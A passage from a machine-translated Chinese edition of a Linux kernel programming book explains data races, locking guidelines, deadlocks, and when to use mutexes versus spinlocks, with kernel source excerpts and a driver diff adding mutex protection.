-换句话说,这现在是一场**数据竞赛**;根据微妙的时间巧合,我们可能会也可能不会产生错误(bug)。正是这种不确定性——微妙的时间巧合——使得发现和修复这样的错误变得极其困难(它可以逃避您的测试工作)。 - -This aphorism is all too unfortunately true: *Testing can detect the presence of errors, not their absence.* Adding to this, you're worse off if your testing fails to catch races (and bugs), allowing them free rein in the field. - -您可能会觉得,由于您的产品是一个运行在一个 CPU 内核(UP)上的小型嵌入式系统,所以关于控制并发性(通常是通过锁定)的讨论并不适用于您。我们不敢苟同:几乎所有现代产品,如果还没有的话,都将转向多核(也许在它们的下一代阶段)。更重要的是,正如我们将要探讨的,即使是 UP 系统也有并发问题。 - -## 可抢占内核、阻塞输入/输出和数据竞争 - -假设您正在一个配置为可抢占的 Linux 内核上运行您的内核模块或驱动程序(也就是说,`CONFIG_PREEMPT`打开;我们在配套指南 *Linux 内核编程、* *第 10 章*、*中央处理器调度器–第 1 部分*中讨论了这个主题。考虑一个进程,P1,正在进程上下文中运行驱动程序的 read 方法代码,处理全局数组。现在,当它处于关键部分(在时间`t2`和`t3`之间)时,如果内核*抢占了*进程 P1,并且上下文切换到另一个进程 P2,它正在等待执行这个代码路径,会怎么样?这很危险,同样,这是一场数据竞赛。这很可能发生在甚至一个 UP 系统上! - -另一种情况有些类似(同样,可能发生在单核(UP)或多核系统上):进程 P1 正在运行驱动程序方法的关键部分(再次在时间`t2`和`t3;`之间,参见*图 6.5* )。这一次,如果在关键部分,它遇到了阻塞调用呢? - -一个**阻塞调用**是一个导致调用进程上下文进入休眠状态的函数,等待一个事件;当该事件发生时,内核将“唤醒”任务,并从它停止的地方继续执行。这也称为输入/输出阻塞,非常常见;许多 API(包括几个用户空间库和系统调用,以及几个内核 API)本质上都是阻塞的。在这种情况下,进程 P1 实际上是上下文关闭中央处理器并进入睡眠,这意味着`schedule()`的代码运行并将其排入等待队列。 - -在此期间,在 P1 回归之前,如果另一个进程 P2 计划运行会怎么样?如果该进程也在运行这个特定的代码路径呢?想想看——当 P1 回来的时候,共享数据可能已经“在它下面”发生了变化,导致了各种各样的错误;再次,一场数据竞赛,一个 bug! - -## 硬件中断和数据竞争 - -最后,想象一下这个场景:流程 P1 再次无辜地运行驱动程序的读取方法代码;进入临界段(时间`t2`至`t3`之间;再次参见*图 6.5* )。它取得了一些进展,但是,唉,一个硬件中断触发(在同一个中央处理器上)!在 Linux 操作系统上,硬件(外设)中断优先级最高;默认情况下,它们会抢占任何代码(包括内核代码)。这样,进程(或线程)P1 至少会被暂时搁置,从而失去处理器;中断处理代码将抢占它并运行。 - -你可能会想,那又怎样?的确,这完全是家常便饭!硬件中断在现代系统中非常频繁,有效地(字面上)中断各种任务上下文(在你的 Shell 上快速`vmstat 3`;标有`in`的`system`下面的列显示了最近 1 秒内系统上触发的硬件中断的数量!).要问的关键问题是:中断处理代码(或者是 hardirq 上半部分,或者是所谓的 tasklet 或 softirq 下半部分,以发生的为准)*是否共享和处理刚刚中断的进程上下文的相同共享可写数据?* - -如果这是真的,那么,休斯顿,我们有一个问题-数据竞赛!如果没有,那么中断的代码就不是中断代码路径的关键部分,这没关系。事实是,大多数设备驱动程序确实处理中断;由此可见,它是司机作者的(你的!)确保没有全局或静态数据(实际上,没有关键部分)在进程上下文和中断代码路径之间共享的责任。如果是这样(这种情况确实发生了),您必须以某种方式保护这些数据免受数据竞争和可能的损坏。 - -这些场景可能会让您觉得防范这些并发问题是一项非常艰巨的任务;面对现有的关键部分以及各种可能的并发问题,您究竟如何实现数据安全?有意思的是,实际的 API 并不难学会使用;再次强调**识别关键路段**是关键要做的事情。 - -Again, the basics regarding how a lock (conceptually) works, locking guidelines (very important; we'll recap on them shortly), and the types of and how to prevent deadlocks, are all dealt with in my earlier book, *Hands-On System Programming with Linux (Packt, Oct 2018)*. This books covers these points in detail in *Chapter 15*, *Multithreading with Pthreads Part II – Synchronization*. - -不用多说,让我们深入探讨一下主要的同步技术,它将用于保护我们的关键部分——锁定。 - -## 锁定指南和死锁 - -锁定,就其本质而言,是一种复杂的野兽;它往往会产生复杂的连锁场景。对它了解不够会导致性能问题和错误——死锁、循环依赖、中断不安全锁定等等。使用锁定时,以下锁定准则是确保正确编写代码的关键: - -* **锁定粒度**:锁定和解锁的“距离”(实际上是临界段的长度)不要粗(过长的临界段)要“足够细”;这是什么意思?以下几点解释了这一点: - * 你在这里需要小心。当你在处理大型项目时,锁太少是个问题,锁太多也是个问题!太少的锁会导致性能问题(因为相同的锁被重复使用,因此往往竞争激烈)。 - * 拥有大量锁实际上有利于性能,但不利于复杂性控制。这也引出了另一个需要理解的关键点:代码库中有许多锁,您应该非常清楚哪个锁保护哪个共享数据对象。如果你用,比如说,`lockA`来保护`mystructX`,这是完全没有意义的,但是在很远的代码路径(可能是一个中断处理程序)中,你忘记了这一点,当在同一个结构上工作时,试着用一些其他的锁,`lockB`来保护!现在,这些事情听起来可能很明显,但是(正如有经验的开发人员所知),在足够大的压力下,即使是显而易见的事情也不总是显而易见的! - * 试着平衡一下。在大型项目中,通常使用一个锁来保护一个全局(共享)数据结构。(*将*命名为锁变量井本身就可能成为一个大问题!这就是为什么我们将保护数据结构的锁作为成员放在其中的原因。) - -* **锁定排序**很关键;**在整个**中,锁必须以相同的顺序获取,并且它们的顺序应该被记录下来,并且被所有从事该项目的开发人员所遵循(注释锁也是有用的;在下一章关于*锁定*的章节中有更多的相关内容。不正确的锁排序通常会导致死锁。 -* 尽可能避免递归锁定。 -* 注意防止饥饿;验证锁一旦被拿走,是否确实“足够快地”被释放。 -* **简单是关键**:尽量避免复杂或过度设计,尤其是涉及锁的复杂场景。 - -关于锁定的话题,出现了(危险的)死锁问题。一**僵局**是无法取得任何进展;换句话说,应用和/或内核组件似乎无限期挂起。虽然我们不打算在这里深究死锁的血淋淋的细节,但我将很快提到一些可能发生的更常见类型的死锁场景: - -* 简单案例,单锁,流程上下文: - * 我们尝试两次获取同一个锁;这会导致**自死锁**。 - -* 简单案例、多个(两个或更多)锁、流程上下文–示例: - * 在 CPU `0`上,线程 A 获取锁 A,然后想要锁 b。 - * 同时,在 CPU `1`上,线程 B 获取锁 B,然后想要锁 A。 - * 结果是一个僵局,通常被称为 **AB-BA** **僵局**。 - * 可以扩展;例如,AB-BC-CA **循环依赖** (A-B-C 锁链)导致死锁。 -* 复杂情况、单锁、进程和中断上下文: - * 锁 A 接受中断上下文。 - * 如果中断发生(在另一个内核上)并且处理程序试图获取锁 A 怎么办?结果就是僵局!因此,在中断上下文中获取的锁必须始终在中断禁用的情况下使用。(怎么做?当我们讨论自旋锁的时候,我们会更详细地讨论这个问题。) -* 更复杂的情况、多个锁以及进程和中断(hardirq 和 softirq)上下文 - -在更简单的情况下,始终遵循*锁排序准则*就足够了:始终以一种记录良好的顺序获取和释放锁(我们将在*使用互斥锁*一节的内核代码中提供一个例子)。然而,这可能会变得非常复杂;复杂的死锁场景甚至会让有经验的开发人员出错。幸运的是,***lock dep***——Linux 内核的运行时锁依赖验证器——可以捕捉每一个死锁情况!(别担心,我们会到达那里的:我们将在下一章中详细介绍 lockdep)。当我们讨论自旋锁(使用自旋锁的*部分)时,我们会遇到与前面提到的类似的进程和/或中断上下文场景;这里明确了要使用的自旋锁的类型。* - -*With regard to deadlocks, a pretty detailed presentation on lockdep was given by Steve Rostedt at a Linux Plumber's Conference (back in 2011); the relevant slides are informative and explore both simple and complex deadlock scenarios, as well as how lockdep can detect them ([https://blog.linuxplumbersconf.org/2011/ocw/sessions/153](https://blog.linuxplumbersconf.org/2011/ocw/sessions/153)).Also, the reality is that not just deadlock, but even **livelock** situations, can be just as deadly! Livelock is essentially a situation similar to deadlock; it's just that the state of the participating task is running and not waiting. An example, an interrupt "storm" can cause a livelock; modern network drivers mitigate this effect by switching off interrupts (under interrupt load) and resorting to a polling technique called **New API; Switching Interrupts** (**NAPI**) (switching interrupts back on when appropriate; well, it's more complex than that, but we leave it at that here). - -对于那些生活在岩石下的人来说,你会知道 Linux 内核有两种主要类型的锁:互斥锁和自旋锁。实际上,还有其他几种类型,包括其他同步(和“无锁”编程)技术,所有这些都将在本章和下一章中介绍。 - -# 互斥还是自旋锁?什么时候使用哪个 - -学习使用互斥锁和自旋锁的确切语义非常简单(内核 API 集内有适当的抽象,这使得典型的驱动程序开发人员或模块作者更加容易)。这种情况下的关键问题是一个概念性的问题:这两个锁到底有什么区别?更切题的是,在什么情况下应该使用哪个锁?在本节中,您将学习这些问题的答案。 - -以我们之前的驱动读取方法的伪代码(*图 6.5* )为基础示例,假设三个线程–**tA**、 **tB** 和**tC**–通过该代码并行运行(在 SMP 系统上)。我们将通过在临界段开始之前(时间 **t2** )获取或获取锁,并在临界段代码路径结束之后(时间 **t3** )释放锁(解锁),来解决这个并发问题,同时避免任何数据竞争。让我们再看一遍伪代码,这次使用锁定来确保它是正确的: - -![](img/a0db53d6-0c64-4377-90a2-bdb95a2fab16.png) - -Figure 6.6 – Pseudocode – a critical section within a (fictional) driver's read method; correct, with locking - -当三个线程试图同时获取锁时,系统保证只有其中一个线程会获得锁。假设 **tB** (线程 B)获得锁:现在是“赢家”或“拥有者”线程。这意味着线程 **tA** 和 **tC** 是“输家”;他们是做什么的?他们等待开锁!“胜者”( **tB** )完成关键段并解锁锁的瞬间,之前的败者之间的战斗重新开始;他们中的一个将成为下一个赢家,这个过程重复进行。 - -互斥锁和自旋锁这两种锁的主要区别在于失败者如何等待解锁。有了互斥锁,失败线程就进入休眠状态;也就是说,他们通过睡觉来等待。赢家执行解锁的那一刻,内核唤醒了输家(他们所有人),他们跑了,再次争夺锁。(事实上,互斥体和信号量有时被称为睡眠锁。) - -然而,有了**自旋锁**,就没有睡觉的问题了;失败者等待锁旋转,直到锁被打开。从概念上看,这看起来如下: - -```sh -while (locked) ; -``` - -注意这只是*概念上的*。想一想——这实际上是民意测验。然而,作为一名优秀的程序员,你会明白,轮询通常被认为是一个坏主意。那么,为什么自旋锁是这样工作的呢?嗯,它没有;它只是出于概念目的才以这种方式提出。您很快就会明白,自旋锁只有在多核(SMP)系统上才真正有意义。在这样的系统上,当赢家线程离开并运行关键部分代码时,输家通过在其他中央处理器内核上旋转来等待!实际上,在实现层面上,用于实现现代自旋锁的代码是高度优化的(并且是特定于 arch 的),并且不会通过简单的“旋转”来工作(例如,许多 ARM 的自旋锁实现使用**等待事件** ( **WFE** )机器语言指令,这使得 CPU 在低功率状态下最佳地等待;请参阅*进一步阅读*部分,了解有关自旋锁内部实现的一些资源。 - -## 从理论上确定使用哪个锁 - -spinlock 是如何实现的,这真的不是我们关心的问题;我们感兴趣的是,自旋锁的开销比互斥锁低。为什么很简单,真的:要让互斥锁工作,失败线程必须进入睡眠状态。为此,在内部,调用`schedule()`函数,这意味着失败者将互斥锁 API 视为阻塞调用!对调度程序的调用将最终导致处理器被上下文关闭。相反,当所有者线程解锁锁时,失败者线程必须被唤醒;同样,它将被上下文切换回处理器。因此,互斥锁/解锁操作的最小“成本”是在给定机器上执行两次上下文切换所需的时间。(参见下一节*信息框*。)通过再次查看前面的截图,我们可以确定一些事情,包括花费在关键部分的时间(“锁定”的代码路径);也就是`t_locked = t3 - t2`。 - -假设`t_ctxsw`代表上下文切换的时间。据我们所知,互斥锁/解锁操作的最小成本是`2 * t_ctxsw`。现在,假设下面的表达式是正确的: - -```sh -t_locked < 2 * t_ctxsw -``` - -换句话说,如果在关键部分花费的时间少于两次上下文切换所花费的时间,会怎样?在这种情况下,使用互斥锁是错误的,因为这是太多的开销;执行元工作比实际工作花费的时间更多——这种现象被称为**抖动**。正是这种精确的用例——非常短的关键部分的存在——在现代操作系统(如 Linux)上经常如此。因此,总之,对于短的非阻塞关键部分,使用自旋锁(远)优于使用互斥锁。 - -## 确定使用哪个锁–实际上 - -所以,在`t_locked < 2 * t_ctxsw`“规则”下操作在理论上可能很棒,但是等等:你真的被期望精确地测量上下文切换时间和在每个存在一个(关键部分)的情况下在关键部分花费的时间吗?不,当然不是——那是非常不现实和迂腐的。 - -实际上,这样想:互斥锁的工作原理是让失败线程在解锁时休眠;自旋锁没有(失败者“自旋”)。让我们回忆一下 Linux 内核的一个黄金规则:在任何一种原子上下文中,内核都不能休眠(调用`schedule()`)。因此,我们永远不能在中断上下文中使用互斥锁,或者在睡眠不安全的任何上下文中使用互斥锁;然而,使用自旋锁就可以了。(记住,阻塞 API 是通过调用`schedule()`使调用上下文进入睡眠状态的 API。)让我们总结一下: - -* **临界区是在原子(中断)上下文中运行,还是在进程上下文中无法休眠?**使用自旋锁。 -* **临界区是否在进程上下文中运行,临界区的休眠是否必要?**使用互斥锁。 - -当然,使用自旋锁被认为比使用互斥锁开销更低;因此,您甚至可以在流程上下文中使用 spinlock(比如我们虚构的驱动程序的 read 方法),只要关键部分没有阻塞(sleep)。 - -**[1]** The time taken for a context switch is varied; it largely depends on the hardware and the OS quality. Recent (September 2018) measurements show that context switching time is in the region of 1.2 to 1.5 **us** (**microseconds**) on a pinned-down CPU, and around 2.2 us without pinning ([https://eli.thegreenplace.net/2018/measuring-context-switching-and-memory-overheads-for-linux-threads/](https://eli.thegreenplace.net/2018/measuring-context-switching-and-memory-overheads-for-linux-threads/)). - -硬件和 Linux 操作系统都有了巨大的改进,正因为如此,平均上下文切换时间也有了很大的提高。一篇旧的(1998 年 12 月)Linux Journal 文章确定,在 x86 类系统上,平均上下文切换时间为 19 us(微秒),最坏的情况是 30 us。 - -这就提出了一个问题,我们如何知道代码当前是在进程还是中断上下文中运行?简单:我们的`PRINT_CTX()`宏(在我们的`convenient.h`头中)向我们展示了这一点: - -```sh -if (in_task()) - /* we're in process context (usually safe to sleep / block) */ -else - /* we're in an atomic or interrupt context (cannot sleep / block) */ -``` - -现在,您已经了解了使用哪个互斥体或自旋锁以及何时使用,让我们进入实际使用。我们将从如何使用互斥锁开始! - -# 使用互斥锁 - -互斥锁也被称为可休眠锁或阻塞互斥锁。如您所知,如果关键部分可以休眠(阻塞),则在流程上下文中使用它们。它们不能用于任何种类的原子或中断上下文(上半部分、下半部分,如小任务或软 IRQ 等)、内核定时器,甚至是不允许阻塞的进程上下文。 - -## 初始化互斥锁 - -互斥锁“对象”在内核中表示为`struct mutex`数据结构。考虑以下代码: - -```sh -#include -struct mutex mymtx; -``` - -要使用互斥锁,它*必须*被显式初始化为解锁状态。初始化可以通过`DEFINE_MUTEX()`宏静态执行(声明和初始化对象),也可以通过`mutex_init()`函数动态执行(这实际上是`__mutex_init()`函数的宏包装)。 - -例如,要声明和初始化一个名为`mymtx`的互斥对象,我们可以使用`DEFINE_MUTEX(mymtx);`。 - -我们也可以动态地这样做。为什么是动态的?通常,互斥锁是它保护的(全局)数据结构的成员(聪明!).例如,假设我们的驱动程序代码中有以下全局上下文结构(请注意,该代码是虚构的): - -```sh -struct mydrv_priv { - - - [...] - struct mutex mymtx; /* protects access to mydrv_priv */ - [...] -}; -``` - -然后,在您的驾驶员(或 LKM)方法中,执行以下操作: - -```sh -static int init_mydrv(struct mydrv_priv *drvctx) -{ - [...] - mutex_init(drvctx-mymtx); - [...] -} -``` - -保持锁变量作为它所保护的(父)数据结构的成员是 Linux 中使用的一种常见(也是聪明的)模式;这种方法还有一个额外的好处,那就是避免了名称空间污染,并且对于哪个互斥体保护哪个共享数据项是明确的(这是一个比最初看起来更大的问题,尤其是在像 Linux 内核这样的大型项目中!). - -Keep the lock protecting a global or shared data structure as a member within that data structure. - -## 正确使用互斥锁 - -通常,您可以在内核源代码树中找到非常有见地的评论。这里有一个很棒的例子,它简洁地总结了正确使用互斥锁必须遵循的规则;请仔细阅读: - -```sh -// include/linux/mutex.h -/* - * Simple, straightforward mutexes with strict semantics: - * - * - only one task can hold the mutex at a time - * - only the owner can unlock the mutex - * - multiple unlocks are not permitted - * - recursive locking is not permitted - * - a mutex object must be initialized via the API - * - a mutex object must not be initialized via memset or copying - * - task may not exit with mutex held - * - memory areas where held locks reside must not be freed - * - held mutexes must not be reinitialized - * - mutexes may not be used in hardware or software interrupt - * contexts such as tasklets and timers - * - * These semantics are fully enforced when DEBUG_MUTEXES is - * enabled. Furthermore, besides enforcing the above rules, the mutex - * [ ... ] -``` - -作为内核开发人员,您必须了解以下内容: - -* 一个关键部分导致代码路径*被序列化,破坏了并行性*。因此,你必须尽可能缩短关键部分。一个推论是**锁定数据,而不是编码**。 -* 试图重新获取已经获取(锁定)的互斥锁(这实际上是递归锁定)是不支持的*,并将导致自死锁。* -** **锁排序**:这是防止危险死锁情况的一个非常重要的经验法则。在存在多个线程和多个锁的情况下,*记录获取锁的顺序并由所有从事该项目的开发人员严格遵守是至关重要的。*实际的锁排序本身并不是神圣不可侵犯的,但是一旦决定了就必须遵循的事实是。在浏览内核源代码树时,您会遇到内核开发人员确保做到这一点的许多地方,他们(通常)会就此写一个注释,供其他开发人员查看和遵循。下面是来自 slab 分配器代码(`mm/slub.c`)的示例注释:* - -```sh -/* - * Lock order: - * 1\. slab_mutex (Global Mutex) - * 2\. node-list_lock - * 3\. slab_lock(page) (Only on some arches and for debugging) -``` - -既然我们从概念的角度理解了互斥体是如何工作的(并且理解了它们的初始化),那么让我们学习如何利用锁定/解锁 API。 - -## 互斥锁和解锁应用编程接口及其使用 - -互斥锁的实际锁定和解锁 API 如下。下面的代码分别展示了如何锁定和解锁互斥体: - -```sh -void __sched mutex_lock(struct mutex *lock); -void __sched mutex_unlock(struct mutex *lock); -``` - -(这里忽略`__sched`;只是一个编译器属性让这个函数消失在`WCHAN`输出中,这个输出出现在 procfs 中,并且带有某些选项切换到`ps(1)`(比如`-l`)。 - -再次,`kernel/locking/mutex.c`中源代码内的注释非常详细,描述性很强;我鼓励你更详细地看一下这个文件。我们在这里只展示了它的一些代码,这些代码直接取自 5.4 Linux 内核源代码树: - -```sh -// kernel/locking/mutex.c -[ ... ] -/** - * mutex_lock - acquire the mutex - * @lock: the mutex to be acquired - * - * Lock the mutex exclusively for this task. If the mutex is not - * available right now, it will sleep until it can get it. - * - * The mutex must later on be released by the same task that - * acquired it. Recursive locking is not allowed. The task - * may not exit without first unlocking the mutex. Also, kernel - * memory where the mutex resides must not be freed with - * the mutex still locked. The mutex must first be initialized - * (or statically defined) before it can be locked. memset()-ing - * the mutex to 0 is not allowed. - * - * (The CONFIG_DEBUG_MUTEXES .config option turns on debugging - * checks that will enforce the restrictions and will also do - * deadlock debugging) - * - * This function is similar to (but not equivalent to) down(). - */ -void __sched mutex_lock(struct mutex *lock) -{ - might_sleep(); - - if (!__mutex_trylock_fast(lock)) - __mutex_lock_slowpath(lock); -} -EXPORT_SYMBOL(mutex_lock); -``` - -`might_sleep()`是一个具有有趣调试属性的宏;它捕获应该在原子上下文中执行但没有执行的代码!所以,考虑一下:`mutex_lock()`中的第一行代码:`might_sleep()`,意味着这个代码路径不应该被原子上下文中的任何东西执行,因为它可能会休眠。这意味着您应该只在进程上下文中使用互斥体,当它可以安全睡眠的时候! - -**A quick and important reminder**: The Linux kernel can be configured with a large number of debug options; in this context, the `CONFIG_DEBUG_MUTEXES` config option will help you catch possible mutex-related bugs, including deadlocks. Similarly, under the Kernel Hackingmenu, you will find a large number of debug-related kernel config options. We discussed this in the companion guide *Linux Kernel Programming -* *Chapter 5*, *Writing Your First Kernel Module – LKMs Part 2*. There are several very useful kernel configs with regard to lock debugging; we shall cover these in the next chapter, in the *Lock debugging within the kernel* section. - -### 互斥锁–通过[不]可中断睡眠? - -像往常一样,互斥体的内容比我们目前看到的要多。您已经知道,一个 Linux 进程(或线程)在状态机的各种状态中循环。在 Linux 上,睡眠有两种独立的状态——可中断睡眠和不间断睡眠。可中断睡眠中的进程(或线程)是敏感的,这意味着它将响应用户空间信号,而不间断睡眠中的任务对用户信号不敏感。 - -在具有底层驱动程序的人机交互应用中,作为一般的经验法则,您通常应该将一个进程置于可中断的睡眠状态(当它在锁定时被阻塞),从而由最终用户决定是否通过按下 *Ctrl* + *C* (或一些涉及信号的机制)来中止应用。在类似 Unix 的系统上,有一个设计规则经常被遵循:**提供机制,而不是策略**。说到这里,在非交互代码路径上,通常情况下您必须等待锁无限期等待,语义是已经传递给任务的信号不应该中止阻塞等待。在 Linux 上,不间断电源是最常见的。 - -所以,事情是这样的:`mutex_lock()` API 总是让调用任务进入不间断睡眠。如果这不是您想要的,请使用`mutex_lock_interruptible()`应用编程接口将调用任务置于可中断睡眠状态。语法上有一个区别;后者在成功时返回一个整数值`0`,在失败时(由于信号中断)返回一个整数值`-EINTR`(记住`0` / `-E`返回惯例)。 - -总的来说,使用`mutex_lock()`比使用`mutex_lock_interruptible()`要快;当关键部分很短时使用它(这样就可以保证锁保持很短的时间,这是一个非常理想的特性)。 - -The 5.4.0 kernel contains over 18,500 and just over 800 instances of calling the `mutex_lock()` and `mutex_lock_interruptible()` APIs, respectively; you can check this out via the powerful `cscope(1)` utility on the kernel source tree. - -理论上,内核也提供了一个`mutex_destroy()`应用编程接口。这与`mutex_init()`相反;它的工作是将互斥体标记为不可用。它只能在互斥体处于解锁状态时调用,一旦被调用,互斥体就不能使用。这有点理论化,因为在常规系统中,它只是简化为一个空函数;只有在启用了`CONFIG_DEBUG_MUTEXES`的内核上,它才成为真正的(简单的)代码。因此,当使用互斥体时,我们应该使用这种模式,如下面的伪代码所示: - -```sh -DEFINE_MUTEX(...); // init: initialize the mutex object -/* or */ mutex_init(); -[ ... ] - /* critical section: perform the (mutex) locking, unlocking */ - mutex_lock[_interruptible](); - << ... critical section ... >> - mutex_unlock(); - mutex_destroy(); // cleanup: destroy the mutex object -``` - -既然您已经学习了如何使用互斥锁 APIs,让我们来运用这些知识。在下一节中,我们将建立在我们早期的一个之上(写得不好-没有保护!)“杂项”驱动程序,使用互斥对象根据需要锁定关键部分。 - -## 互斥锁——一个示例驱动程序 - -我们在*第 1 章* - *中创建了一个简单的设备驱动程序代码示例,编写一个简单的杂项字符设备驱动程序*;也就是`ch1/miscdrv_rdwr`。在那里,我们编写了一个简单的`misc`类字符设备驱动程序,并使用了一个用户空间实用程序(`ch12/miscdrv_rdwr/rdwr_drv_secret.c`)来读写设备驱动程序内存中的一个(所谓的)秘密。 - -然而,我们突出地(过分地)是正确的词在这里!)未能做到,因为代码是受保护的共享(全局)可写数据!这将使我们在现实世界中付出高昂的代价。我建议您花点时间考虑一下:两个(或三个或更多)用户模式进程打开这个驱动程序的设备文件,然后并发发出各种 I/O 读写是不可行的。在这里,全局共享可写数据(在这种特殊情况下,两个全局整数和驱动程序上下文数据结构)很容易被破坏。 - -因此,让我们通过复制这个驱动程序(我们现在称之为`ch12/1_miscdrv_rdwr_mutexlock/1_miscdrv_rdwr_mutexlock.c`)并重写它的一些部分来学习和纠正我们的错误。关键是我们必须使用互斥锁来保护所有的关键部分。与其在这里显示代码(毕竟是在本书的[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)的 GitHub 库中,请做`git clone`吧!),让我们做一些有趣的事情:让我们看看旧的未受保护版本和新的受保护代码版本之间的“差异”(差异–由`diff(1)`生成的增量)。此处的输出已被截断: - -```sh -$ pwd -<.../ch12/1_miscdrv_rdwr_mutexlock -$ diff -u ../../ch12/miscdrv_rdwr/miscdrv_rdwr.c miscdrv_rdwr_mutexlock.c>> miscdrv_rdwr.patch -$ cat miscdrv_rdwr.patch -[ ... ] -+#include // mutex lock, unlock, etc - #include "../../convenient.h" -[ ... ] --#define OURMODNAME "miscdrv_rdwr" -+#define OURMODNAME "miscdrv_rdwr_mutexlock" - -+DEFINE_MUTEX(lock1); // this mutex lock is meant to protect the integers ga and gb -[ ... ] -+ struct mutex lock; // this mutex protects this data structure - }; -[ ... ] -``` - -在这里,我们可以看到,在驱动程序的较新安全版本中,我们已经声明并初始化了一个名为`lock1`的互斥变量;我们将使用它来保护驱动程序中的两个全局整数`ga`和`gb`(仅用于演示目的)。接下来,重要的是,我们在“驱动上下文”数据结构中声明了一个名为`lock`的互斥锁;也就是`drv_ctx`。这将用于保护对该数据结构成员的任何和所有访问。在`init`代码内初始化: - -```sh -+ mutex_init(&ctx->lock); -+ -+ /* Initialize the "secret" value :-) */ - strscpy(ctx->oursecret, "initmsg", 8); -- dev_dbg(ctx->dev, "A sample print via the dev_dbg(): driver initialized\n"); -+ /* Why don't we protect the above strscpy() with the mutex lock? -+ * It's working on shared writable data, yes? -+ * Yes, BUT this is the init code; it's guaranteed to run in exactly -+ * one context (typically the insmod(8) process), thus there is -+ * no concurrency possible here. The same goes for the cleanup -+ * code path. -+ */ -``` - -这个详细的评论清楚地解释了为什么我们不需要在`strscpy()`左右锁定/解锁。同样,这应该是显而易见的,但是局部变量对于每个进程上下文都是隐式私有的(因为它们驻留在该进程或线程的内核模式堆栈中),因此不需要保护(每个线程/进程都有一个单独的变量*实例*,所以没有人会踩到任何人的脚!).在我们忘记之前,*清理*代码路径(通过`rmmod(8)`进程上下文调用)必须销毁互斥体: - -```sh --static void __exit miscdrv_rdwr_exit(void) -+static void __exit miscdrv_exit_mutexlock(void) - { -+ mutex_destroy(&lock1); -+ mutex_destroy(&ctx->lock); - misc_deregister(&llkd_miscdev); - } -``` - -现在,让我们看看驱动程序打开方法的不同之处: - -```sh -+ -+ mutex_lock(&lock1); -+ ga++; gb--; -+ mutex_unlock(&lock1); -+ -+ dev_info(dev, " filename: \"%s\"\n" - [ ... ] -``` - -这就是我们操纵全局整数的地方,*使其成为关键部分*;与这个程序的前一个版本不同,在这里,我们*用`lock1`互斥体保护这个关键部分*。就是这样:这里的关键部分是代码`ga++; gb--;`:在(互斥)锁和解锁操作之间的代码。 - -但是(总有但是,不是吗?),一切都不顺利!看看`mutex_unlock()`行代码后面的`printk`功能(`dev_info()`): - -```sh -+ dev_info(dev, " filename: \"%s\"\n" -+ " wrt open file: f_flags = 0x%x\n" -+ " ga = %d, gb = %d\n", -+ filp->f_path.dentry->d_iname, filp->f_flags, ga, gb); -``` - -你觉得这样可以吗?不,仔细看:我们是*在读*全局整数的值,`ga`和`gb`。回想一下基本原理:在并发的情况下(这在这个驱动程序的 *open* 方法中肯定是可能的),*即使在没有锁的情况下读取共享的可写数据也是潜在不安全的*。如果这对你没有意义,请想一想:如果当一个线程正在读取整数时,另一个线程正在同时更新(写入)它们,会怎么样;然后呢?这种情况称为一**脏读**(或一**撕读)**;我们最终可能会读取陈旧的数据,因此必须加以防范。(事实是,这并不是一个真正的脏读的好例子,因为在大多数处理器上,读写单个整数项确实倾向于原子操作。然而,我们绝不能假设这样的事情——我们必须只是做好我们的工作并保护它。) - -事实上,还有另一个类似的 bug 在等待:我们已经从打开的文件结构(即`filp`指针)中读取了数据,却没有费心去保护它(确实,打开的文件结构有锁;我们应该用它!我们将稍后这样做)。 - -The precise semantics of how and when things such as *dirty reads* occur does tend to be very arch (machine)-dependent; nevertheless, our job as module or driver authors is clear: we must ensure that we protect all critical sections. This includes reads upon shared writable data. - -现在,我们将把这些标记为潜在的错误(bug)。我们将在*中使用原子整数运算符*部分以更有利于性能的方式来解决这个问题。查看驱动程序读取方法的差异会发现一些有趣的东西(忽略这里显示的行号;他们可能会改变): - -![](img/ad26b085-7d4a-4090-96b8-44aef98664ce.png) - -Figure 6.7 – The diff of the driver's read() method; see the usage of the mutex lock in the newer version - -我们现在已经使用了驱动程序上下文结构的互斥锁来保护关键部分。设备驱动程序的*写*和*关闭*(释放)方法也是如此(自己生成补丁看看)。 - -注意,用户模式 app 保持不变,这意味着对于我们测试新的更安全版本,我们必须在`ch12/miscdrv_rdwr/rdwr_drv_secret.c`继续使用用户模式 app。在包含各种锁定错误和死锁检测功能的调试内核上运行和测试这样的驱动程序代码至关重要(我们将在下一章的*内核内的锁定调试*一节中返回这些“调试”功能)。 - -在前面的代码中,我们在`copy_to_user()`例程之前获取了互斥锁;没关系。但是,我们只在`dev_info()`之后发布。为什么不在此之前发布`printk`,从而缩短关键部分? - -仔细观察`dev_info()`会发现为什么它在临界区内*。我们在这里打印三个变量的值:`secret_len`读取的字节数和`ctx->tx`和`ctx->rx`分别“发送”和“接收”的字节数。`secret_len`是一个局部变量,不需要保护,但是另外两个变量在全局驱动程序上下文结构中,因此需要保护,即使是来自(可能是脏的)读取。* - -## 互斥锁——剩下的几点 - -在这一节中,我们将介绍一些关于互斥体的附加要点。 - -### 互斥锁应用编程接口变体 - -首先,让我们看一看互斥锁 API 的几个变体;除了可中断变量(在*互斥锁中描述–通过【不】可中断睡眠?*部分),我们有 *trylock、可杀*和 *io* 变体。 - -#### 互斥 trylock 变量 - -如果你想实现一个**忙-等**语义呢;也就是说,测试(互斥)锁的可用性,如果可用(意味着它当前未锁定),获取/锁定它并继续关键部分代码路径?如果该选项不可用(当前处于锁定状态),请不要等待锁定;相反,执行一些其他工作,然后重试。实际上,这是非阻塞互斥锁变体,称为 trylock 以下流程图显示了它的工作原理: - -![](img/421daaad-97a1-4acc-8cfc-e4d33751eb84.png) - -Figure 6.8 – The "busy wait" semantic, a non-blocking trylock operation - -互斥锁的 trylock 变体的 API 如下: - -```sh -int mutex_trylock(struct mutex *lock); -``` - -这个应用编程接口的返回值表示运行时发生的事情: - -* `1`的返回值表示锁已成功获取。 -* `0`的返回值表示锁当前被竞争(锁定)。 - -Though it might sound tempting to, do *not* attempt to use the `mutex_trylock()` API to figure out if a mutex lock is in a locked or unlocked state; this is inherently "racy". Next, note that using this trylock variant in a highly contended lock path may well reduce your chances of acquiring the lock. The trylock variant has been traditionally used in deadlock prevention code that might need to back out of a certain lock order sequence and be retried via another sequence (ordering). - -此外,关于 trylock 变体,即使文献使用术语*原子地尝试和获取互斥体*,它也不在原子或中断上下文中工作——它只有*在进程上下文中工作(如同任何类型的互斥锁)。像往常一样,锁必须通过所有者上下文调用`mutex_unlock()`来释放。* - -我建议您尝试使用 trylock 